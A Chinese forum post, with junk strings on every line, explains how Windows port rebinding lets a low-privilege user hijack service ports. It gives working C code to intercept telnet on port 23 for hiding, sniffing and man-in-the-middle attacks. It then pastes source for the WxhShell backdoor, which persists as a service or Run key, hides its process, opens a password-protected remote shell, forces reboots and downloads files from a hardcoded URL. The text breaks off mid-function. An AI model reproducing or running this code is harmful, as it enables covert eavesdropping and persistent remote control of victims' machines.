社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12205阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jrZM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UIovv%7zZ  
YPFjAQ  
  saddr.sin_family = AF_INET; |SQ5Sb  
_l{G Hz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .E"hsGH9h  
shj S^CP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gGH<%nHW1  
FF)F%o+:w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aj|I[65  
W6 f*>  
  这意味着什么?意味着可以进行如下的攻击: (9{)4[3MAG  
&v'e;W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2u/~#Rt&*  
uiPfAPZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .@gv }`>  
Jf YO|,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ((B7k{`  
3a"4Fn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Qt+ K,LY  
Gt2NUGU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |!aMj8i2  
Jp=ur)Dj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E,>/6AU  
@s b\0}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VSL6tQp  
"U4Sn'&h@  
  #include 4b,N"w{v  
  #include cAC]%~orx  
  #include Z)~.OqRw]  
  #include    &C`t(e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   AQDT6E:  
  int main() R%"wf   
  { *"d"  
  WORD wVersionRequested; 4S`2")V  
  DWORD ret; Fi14_{  
  WSADATA wsaData; TG=) KS  
  BOOL val; `lRZQ:27X  
  SOCKADDR_IN saddr; ^%VMp>s  
  SOCKADDR_IN scaddr; *[) b}?  
  int err; FI`][&]V  
  SOCKET s; \/xWsbG\  
  SOCKET sc; Pa 'g=-  
  int caddsize; Rs$k3   
  HANDLE mt; "\Zsr6y  
  DWORD tid;   4nN%5c~=  
  wVersionRequested = MAKEWORD( 2, 2 ); XkDjA#nx`  
  err = WSAStartup( wVersionRequested, &wsaData ); PxhB=i!'$  
  if ( err != 0 ) { _{_ybXG|  
  printf("error!WSAStartup failed!\n"); RLu y;z  
  return -1; WV]Si2pOZ  
  } <7~HG(ks  
  saddr.sin_family = AF_INET; se:]F/  
   /bjyV]N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5Q;Fwtm  
e23}'qb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Gc^w,n[E  
  saddr.sin_port = htons(23); NuRxkeEO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jeFX?]Q  
  { 6}qp;mR E]  
  printf("error!socket failed!\n"); a^ hDxeG  
  return -1; xX.fN7[  
  } k1e0kxn  
  val = TRUE; "94e-Nx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kAsYh4[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f"\G"2C  
  { q"7rd?r52  
  printf("error!setsockopt failed!\n"); D(yU:^L  
  return -1; PHU#$LG  
  } O8%+5l`T!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =;#+8w=^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u 0(H!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I kv@}^p 7  
$p#)xx7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  yr9%,wwN  
  { W3Oj6R  
  ret=GetLastError(); M0YV Qa  
  printf("error!bind failed!\n"); 4D=p#KZ  
  return -1; F'^6 ra9  
  } ;7Cb!v1  
  listen(s,2); tgCEz%  
  while(1) se(ZiyHp  
  { D[yOFJ~p)  
  caddsize = sizeof(scaddr); j qfxQ  
  //接受连接请求 H`odQkZ!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %C^U?m`  
  if(sc!=INVALID_SOCKET) 9%55R >s$  
  { FR"yGx#$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `irz'/"p  
  if(mt==NULL) }F=scbpXj  
  { r`Y[XzT9  
  printf("Thread Creat Failed!\n"); M S$^m2  
  break; ByqB4Hv2  
  } wqEO+7)S  
  } p uEu v6F  
  CloseHandle(mt); ? WyL|;b*  
  } s ~c_9,JK  
  closesocket(s); FRqJ#yd]  
  WSACleanup(); \0?^%CD+@  
  return 0; |)`<D  
  }   MHar9)$}  
  DWORD WINAPI ClientThread(LPVOID lpParam) cBs:7Pnp%  
  { COvcR.*0F  
  SOCKET ss = (SOCKET)lpParam; }q7rR:g  
  SOCKET sc; ;;#28nV  
  unsigned char buf[4096]; //T1e7)  
  SOCKADDR_IN saddr; `}<x"f7.z  
  long num; @Cg%7AF  
  DWORD val; Z7>pz:,  
  DWORD ret; E_k<EQ%r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LE#ko2#ke  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M+4>l\   
  saddr.sin_family = AF_INET; !ZlBM{C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `L n,qiA  
  saddr.sin_port = htons(23); .;nU" a3'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I.#V/{J  
  { Jse;@K5y  
  printf("error!socket failed!\n"); CEbZj z|  
  return -1; wtlIyE  
  } ;n1< 1M>!  
  val = 100; ]'+PJdA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $3.hZx>  
  { c%,@O&o  
  ret = GetLastError(); 2wCTd:e:  
  return -1; kYMKVR  
  } H5wzzSV!:B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /B eA-\B  
  { ?5@!r>i=<  
  ret = GetLastError(); EMK>7 aks  
  return -1; B. '&[A  
  } ^I2+$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mY!os91KoO  
  { #2AKO/  
  printf("error!socket connect failed!\n"); XL SYE   
  closesocket(sc); W:s`;8iM$  
  closesocket(ss); Fb8~2N"3  
  return -1; wNQhz.>y  
  } ,n )f=q*%  
  while(1) 6jS:_[p  
  { #Xdj:T<*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A6-K~z^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  M18<d1*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L>:YGM"sL  
  num = recv(ss,buf,4096,0); pHO,][VZ  
  if(num>0) pYXusS7S  
  send(sc,buf,num,0); ^&^~LKl~  
  else if(num==0) _4~'K?  
  break; ;.dyuKlI  
  num = recv(sc,buf,4096,0); KYe@2 6   
  if(num>0) r5#8V zr  
  send(ss,buf,num,0); ?4QX;s7  
  else if(num==0) m3Ma2jLWC  
  break; DNYJR]>  
  } h zv4+1Wd[  
  closesocket(ss); "}/$xOl"  
  closesocket(sc); :<Z>?x  
  return 0 ; :`U@b 6  
  } Lmp_8q-Ej  
YC,s]~[[   
#>[BSgW  
========================================================== .r=F'i}-j*  
_o,Mji|  
下边附上一个代码,,WXhSHELL 0Z{;sW  
60RYw9d%0  
========================================================== ]!% p21e  
) H HBf<  
#include "stdafx.h" [yFf(>B  
QV&yVH=Xs  
#include <stdio.h> e#{,M8  
#include <string.h> }fqz8'E9  
#include <windows.h> 3y9R1/!  
#include <winsock2.h> hzR1O(  
#include <winsvc.h> 2^3N[pM;  
#include <urlmon.h> xJ=@xfr$  
XXwe/>J  
#pragma comment (lib, "Ws2_32.lib") mT:Z!sS  
#pragma comment (lib, "urlmon.lib") TAd~#jB9  
<4{Jm8zJ  
#define MAX_USER   100 // 最大客户端连接数 Uxll<z,  
#define BUF_SOCK   200 // sock buffer O%hmGW4  
#define KEY_BUFF   255 // 输入 buffer Qf=+%-$Y  
S! Z2aFj  
#define REBOOT     0   // 重启 ^*-6PV#Z  
#define SHUTDOWN   1   // 关机 E$8 D^Zt  
r:xbs0 7  
#define DEF_PORT   5000 // 监听端口 L+GVB[@3Y  
PP1?UT=]  
#define REG_LEN     16   // 注册表键长度 * |dz.Tr  
#define SVC_LEN     80   // NT服务名长度 >^odV ;^  
=uG}pgh0  
// 从dll定义API 0 UbY0sYo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p]lZ4#3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !=/wpsH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;kE|Vx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y<vHL<G  
cM|!jnKm  
// wxhshell配置信息 Tl/!Dn  
struct WSCFG { 8k.<xWDU  
  int ws_port;         // 监听端口 I=;.o>  
  char ws_passstr[REG_LEN]; // 口令 8gI f  
  int ws_autoins;       // 安装标记, 1=yes 0=no f$2DV:wuC  
  char ws_regname[REG_LEN]; // 注册表键名 r9\7I7z  
  char ws_svcname[REG_LEN]; // 服务名 GE S_|[Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x@aWvrL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 He1hgJ)N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VMZUJ2Yj/&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <meQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p#QR^|7"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X"sc'#G T  
B)v|A  
}; @,\J\ rb  
?D?l dg  
// default Wxhshell configuration ^J]_O_ee$  
struct WSCFG wscfg={DEF_PORT, /%F}vW(!  
    "xuhuanlingzhe", p)k5Uh"  
    1, 9-`P\/  
    "Wxhshell", e'y$X;nIv  
    "Wxhshell", hKjG/g:#G  
            "WxhShell Service", s^vw]D  
    "Wrsky Windows CmdShell Service", y' r I1eF  
    "Please Input Your Password: ", [t}@>@W|  
  1, S A\_U::T  
  "http://www.wrsky.com/wxhshell.exe", azCod1aL{  
  "Wxhshell.exe" m|by^40A(  
    }; C{<dzooz  
+9fQ YJBA  
// 消息定义模块 f_m~_`m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eE0'3?q(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rm5@dM@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3ss0/\3P  
char *msg_ws_ext="\n\rExit."; W{l{O1,  
char *msg_ws_end="\n\rQuit."; *K'_"2J  
char *msg_ws_boot="\n\rReboot..."; Cx[Cst `  
char *msg_ws_poff="\n\rShutdown..."; .Xcf *$.;s  
char *msg_ws_down="\n\rSave to "; RF|r@/S  
4))5l9kc.  
char *msg_ws_err="\n\rErr!"; *U}cj A:ZN  
char *msg_ws_ok="\n\rOK!"; W|I<hY\X  
`z!6zo2d  
char ExeFile[MAX_PATH]; !8@8  
int nUser = 0; g)**)mz[  
HANDLE handles[MAX_USER]; n~mP7X%wE7  
int OsIsNt; ]*&`J4i  
AK_,$'f  
SERVICE_STATUS       serviceStatus; ]ME2V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5\jzIB_?  
mr[+\ 5  
// 函数声明 v"v-c!k  
int Install(void); _7bQR7s  
int Uninstall(void); G pC*w ~  
int DownloadFile(char *sURL, SOCKET wsh); TOge!Q>a  
int Boot(int flag); F`e o3z  
void HideProc(void); \jCN ]A<  
int GetOsVer(void);  JE=3V^k  
int Wxhshell(SOCKET wsl); UV#DN`%n  
void TalkWithClient(void *cs); ;/R\!E   
int CmdShell(SOCKET sock); }7+`[g  
int StartFromService(void); =#.qe=  
int StartWxhshell(LPSTR lpCmdLine); xO0}A1t Wd  
@p 2XaqZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NxGSs_7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GS@ Zc2JPF  
1x3>XN]a  
// 数据结构和表定义 9:4m@dguh-  
SERVICE_TABLE_ENTRY DispatchTable[] = T$&vk#qr  
{ KfkU_0R+~v  
{wscfg.ws_svcname, NTServiceMain}, sD{d8s[(  
{NULL, NULL} {;^GKb+  
}; x4Wu`-4^  
wN2D{Jj  
// 自我安装 zS/1v+  
int Install(void) A2p]BW&  
{ ?C`&*+  
  char svExeFile[MAX_PATH]; "*HVL  
  HKEY key; -A(]U"@n  
  strcpy(svExeFile,ExeFile); +d'1  
n qC@dHP  
// 如果是win9x系统,修改注册表设为自启动 [ ;LP6n7v  
if(!OsIsNt) { }c@duf-l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0wpGIT!2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mXK7y.9\  
  RegCloseKey(key); j|DjO?._'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,(v=ZeI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E/ {v6S{)Y  
  RegCloseKey(key); 4OTrMT$y  
  return 0; D0*+7n3  
    } 4sM9~zC5  
  } %uQOAe55  
} SpA-E/el  
else { *OU&`\bmE  
O3En+m~3n)  
// 如果是NT以上系统,安装为系统服务 t+t D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w%uM=YmuT  
if (schSCManager!=0) m2>$)\-;  
{ )>r sX)  
  SC_HANDLE schService = CreateService eEZZ0NNe;  
  ( {D`_q|  
  schSCManager, J}Ji /  
  wscfg.ws_svcname, R d|M)  
  wscfg.ws_svcdisp, G"|c_qX  
  SERVICE_ALL_ACCESS, v&3 Oc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9FcH\2J  
  SERVICE_AUTO_START, 9w}_CCj3  
  SERVICE_ERROR_NORMAL, T_I ApC  
  svExeFile, rvG0aqO `  
  NULL, /?B%,$~  
  NULL, |gwGCa+  
  NULL, P,*yuF|bk  
  NULL, 4#&w-W  
  NULL wCw_aXqq  
  ); ^<`uyY))Q  
  if (schService!=0) Nc\jA=  
  { ;uyQR8  
  CloseServiceHandle(schService); DP08$Iq  
  CloseServiceHandle(schSCManager);  hpOK9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7f]O /  
  strcat(svExeFile,wscfg.ws_svcname); aBT8mK -.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0RGqpJxk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dz,4);Mg  
  RegCloseKey(key); 1pJ?YV  
  return 0; ueu=$.^;g  
    } ~^v*f   
  } 5D<"kT  
  CloseServiceHandle(schSCManager); =(Pk7{  
}  IcUE=J  
} ,ek0)z.  
JXqwy^f  
return 1; -5u. Ix3  
} PD`EtkUnv  
M|IgG:a;T  
// 自我卸载 @q<d^]po  
int Uninstall(void) is6d:p  
{ !+Zso&  
  HKEY key; mt]50}eK  
3fq'<5 ^  
if(!OsIsNt) { EE,C@d!*k7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P%y$e0  
  RegDeleteValue(key,wscfg.ws_regname); d'!abnF[d  
  RegCloseKey(key); <I.{meDg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wt1Y&D  
  RegDeleteValue(key,wscfg.ws_regname); f,:2\b?.  
  RegCloseKey(key); 6'\VPjt  
  return 0; `XK#sCC  
  } y2:Bv2}  
} Igb%bO_  
} N7#,x9+E  
else { yq,%<%+  
.v[!_bk8C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cg&:+  
if (schSCManager!=0) ~09kIO)  
{ a~A"uLBR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g<s;uRA4O9  
  if (schService!=0) TykY>cl   
  {  Dac ,yW  
  if(DeleteService(schService)!=0) { >+F +"NAN  
  CloseServiceHandle(schService); 9ve)+Lk  
  CloseServiceHandle(schSCManager); b0h>q$b  
  return 0; `V=F>s$W  
  } Oi$$vjs2  
  CloseServiceHandle(schService); R0bWI`$Z  
  } ^9`~-w  
  CloseServiceHandle(schSCManager); -MuKeCgi  
} ~5 e 1&  
} q|S,^0cU  
f1X]zk(=W  
return 1; U~_G *0  
} ?Suv.!wfLl  
%40+si3c  
// 从指定url下载文件 (&xIB F_6  
int DownloadFile(char *sURL, SOCKET wsh) tN-B`d 1  
{ 7-2,|(Xg  
  HRESULT hr; <-N7Skkk!  
char seps[]= "/"; &D#B"XI  
char *token; yYPFk  
char *file; }080=E  
char myURL[MAX_PATH]; *(j -jbA  
char myFILE[MAX_PATH]; "J*LR  
7YQ689"J6B  
strcpy(myURL,sURL); 8rM1kOCf  
  token=strtok(myURL,seps); @h)X3X  
  while(token!=NULL) b*dEX%H8sf  
  { Lo uYY: Q  
    file=token; Qvm[2mb  
  token=strtok(NULL,seps); ~RIa),GVX  
  } e<-^  
R~d{Yv  
GetCurrentDirectory(MAX_PATH,myFILE); Ahrtl6@AS  
strcat(myFILE, "\\"); )d7U3i  
strcat(myFILE, file); "j%L*J)  
  send(wsh,myFILE,strlen(myFILE),0); aKk0kC   
send(wsh,"...",3,0); "-A@d&5.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `!7QegJa"  
  if(hr==S_OK) oxJ#NGD  
return 0; U_1N*XK6$  
else 02mu%|"  
return 1; B+2Jea,N  
.MI 5?]_  
} am# (ms  
5gbD|^ij  
// 系统电源模块 0;:AT|U/d  
int Boot(int flag) g33Y]\  
{ ZY-mUg  
  HANDLE hToken; V(<(k,8=  
  TOKEN_PRIVILEGES tkp; 0]MI*s>&  
y>|AX/n  
  if(OsIsNt) { 06fs,!Q@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n%I9l]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~Pi CA  
    tkp.PrivilegeCount = 1; ?PDrj/: *  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &ZAc3@l[c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =qFDrDt  
if(flag==REBOOT) { Wm>AR? b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *[0)]|r  
  return 0; hnnPi  
} brClYpp,h  
else { xD4G(]d!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `]m/za%7  
  return 0; H`Ld,E2ex&  
} YV"LM6`  
  } ">rt *?^  
  else { Cswa5 l`af  
if(flag==REBOOT) { `)_11ywZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iYl$25k/1  
  return 0; eVB.g@%T  
} kH>^3( Q\  
else { W!4xE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v m)'C C  
  return 0; HK!Vd_&9,  
} 6Rc%P)6  
} Z'|A>4\  
QE%|8UFY  
return 1; ts~$'^K[-  
} iMXK_O%  
SM8m\c  
// win9x进程隐藏模块 TCS^nBEE  
void HideProc(void) /S\y-M9  
{ 8WRxM%gsH  
5"8R|NU:\0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p:gM?2p1  
  if ( hKernel != NULL ) E!v^j=h$u  
  { 1PdxoRa4=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o;M-M(EZQ6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f+D a W  
    FreeLibrary(hKernel); 8et.A  
  } TLiA>`r=  
B#9T6|2  
return; +yYSp8>  
} (y{nD~k  
>m&r,z  
// 获取操作系统版本 PmT,*C`/X  
int GetOsVer(void) ufWd) Q  
{ }%I)bU  
  OSVERSIONINFO winfo; 9\[A%jp#K@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (VA:`pstP  
  GetVersionEx(&winfo); um$K^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Afq?Ps+  
  return 1; ~\D H[Mt  
  else gw`}eA$  
  return 0; <6)  w  
} 'hw_ew   
l#G }j^Q  
// 客户端句柄模块 #3o]Qo[Sc  
int Wxhshell(SOCKET wsl) 13:0%IO  
{ 1F_ 1bAh$  
  SOCKET wsh; zPT!Fa`  
  struct sockaddr_in client; %xWscA%^u  
  DWORD myID; !%_H1jk  
ua!g}m~  
  while(nUser<MAX_USER) h2C1'+Q{9  
{ o4g<[X)  
  int nSize=sizeof(client); Uv"GG: K_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); niIjatT  
  if(wsh==INVALID_SOCKET) return 1; ,0R2k `m!  
M:OJL\0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9AROvq|#  
if(handles[nUser]==0) I+^B] @"  
  closesocket(wsh); 9#AsSbBpf  
else @43o4,  
  nUser++; >f*[U/{ K  
  } a>{b'X^LV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =w&<LJPJ  
C4ut!I #  
  return 0; y~N,=5>j  
} K?o}B  
4x JOPu  
// 关闭 socket 4SqZ V  
void CloseIt(SOCKET wsh) e!(0y)*  
{ fC4 D#  
closesocket(wsh); @|^2 +K/  
nUser--; : *Nvy={c  
ExitThread(0); hA81(JWG  
} ToHCS/J59  
wGC)gW  
// 客户端请求句柄 kGZ_/"iuO  
void TalkWithClient(void *cs) (]mh}=:KDg  
{ K$..#]\TM  
B R-(@  
  SOCKET wsh=(SOCKET)cs; )2 P4EEs[  
  char pwd[SVC_LEN]; 6QOdd 6_d  
  char cmd[KEY_BUFF]; y'<juaw  
char chr[1]; 3=r8kh7,  
int i,j; |ei?s1)  
aQEMCWxZ  
  while (nUser < MAX_USER) { J0U9zI4  
+{j? +4(B  
if(wscfg.ws_passstr) { 43;@m}|7$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eqg(U0k0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @:~O  
  //ZeroMemory(pwd,KEY_BUFF); f*g>~!  
      i=0; t?0D*!D  
  while(i<SVC_LEN) { '`Smg3T!~S  
{t$ vsR  
  // 设置超时 Odr@9MJ  
  fd_set FdRead; k]Y#-Q1p~  
  struct timeval TimeOut; `1NxS35u  
  FD_ZERO(&FdRead); :I5]|pt  
  FD_SET(wsh,&FdRead); Ha\q}~_  
  TimeOut.tv_sec=8; !j)H !|R  
  TimeOut.tv_usec=0; lq$1CI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gq6C6   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Pdm1]":(  
\"qXlTQ1_9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $+<X 1  
  pwd=chr[0]; jG0{>P#+  
  if(chr[0]==0xd || chr[0]==0xa) { +_?;%PKkuF  
  pwd=0; FV/X&u8~  
  break; N2VF_[l  
  } d{f3R8~Q.  
  i++; <)zh2UI  
    } B(mxW8y  
EO,;^RtB  
  // 如果是非法用户,关闭 socket FG~p _[K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6$>m s6g%  
} N1KYV&'o  
SPIYB/C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lrr^obc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2k[i7Rl \c  
'!!w|k d  
while(1) { *_$%Tv.]  
u!%]?MSc  
  ZeroMemory(cmd,KEY_BUFF); I'o9.B8%#  
? kew[oZ  
      // 自动支持客户端 telnet标准   WIo^=?%  
  j=0; AjaG .fa]k  
  while(j<KEY_BUFF) { aI|<t^X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B:tST(  
  cmd[j]=chr[0]; I C9:&C[  
  if(chr[0]==0xa || chr[0]==0xd) { B7TA:K  
  cmd[j]=0; 2C %{A  
  break; f{lg{gA(  
  } LS?hb)7  
  j++; `"M=ZVk  
    } e+=Ojo#  
kRskeMr:Rd  
  // 下载文件 qqSk*oH~  
  if(strstr(cmd,"http://")) { T IPb ]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uG3t%CmN  
  if(DownloadFile(cmd,wsh)) w&v_#\T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,:-S<]fS{_  
  else (^eSm]<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (@O F Wc"p  
  } Y.@ vdW  
  else { 7I`e5\ u  
q+t*3;X.  
    switch(cmd[0]) { fk P@e3  
  K 3?7Hndf2  
  // 帮助 QQ97BP7W  
  case '?': { >  K,Q`sS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K(Otgp+zb  
    break; C$)#s{*  
  } pq>"GEN  
  // 安装 anA>'63  
  case 'i': { -zHJ#  
    if(Install()) PF@<>NO+W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1.<LB^4'  
    else A7-QOqST(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !yH&l6s  
    break; V_!hrKkL  
    } Gy 'l;2  
  // 卸载 1c,$D5#  
  case 'r': { ,g{`M]Ov  
    if(Uninstall()) TH)gW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G F,/<R#  
    else G[6V=G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?`,UW;Br6  
    break; iO3@2J  
    } Tm[IOuhM'?  
  // 显示 wxhshell 所在路径 X'ryfa1|  
  case 'p': { c^UG}:Y  
    char svExeFile[MAX_PATH]; BG~h9.c  
    strcpy(svExeFile,"\n\r"); uFb&WIo1  
      strcat(svExeFile,ExeFile); _i:yI-jA  
        send(wsh,svExeFile,strlen(svExeFile),0); O~-#>a  
    break; j,Qp*b#Qo  
    } 8@Xq ,J  
  // 重启 KCDEMs}}zM  
  case 'b': { ar=uDb;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N(]6pG=  
    if(Boot(REBOOT)) LwkZ(Tt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I 8`@Srw8  
    else { MH`f!%c  
    closesocket(wsh); EdE,K1gD  
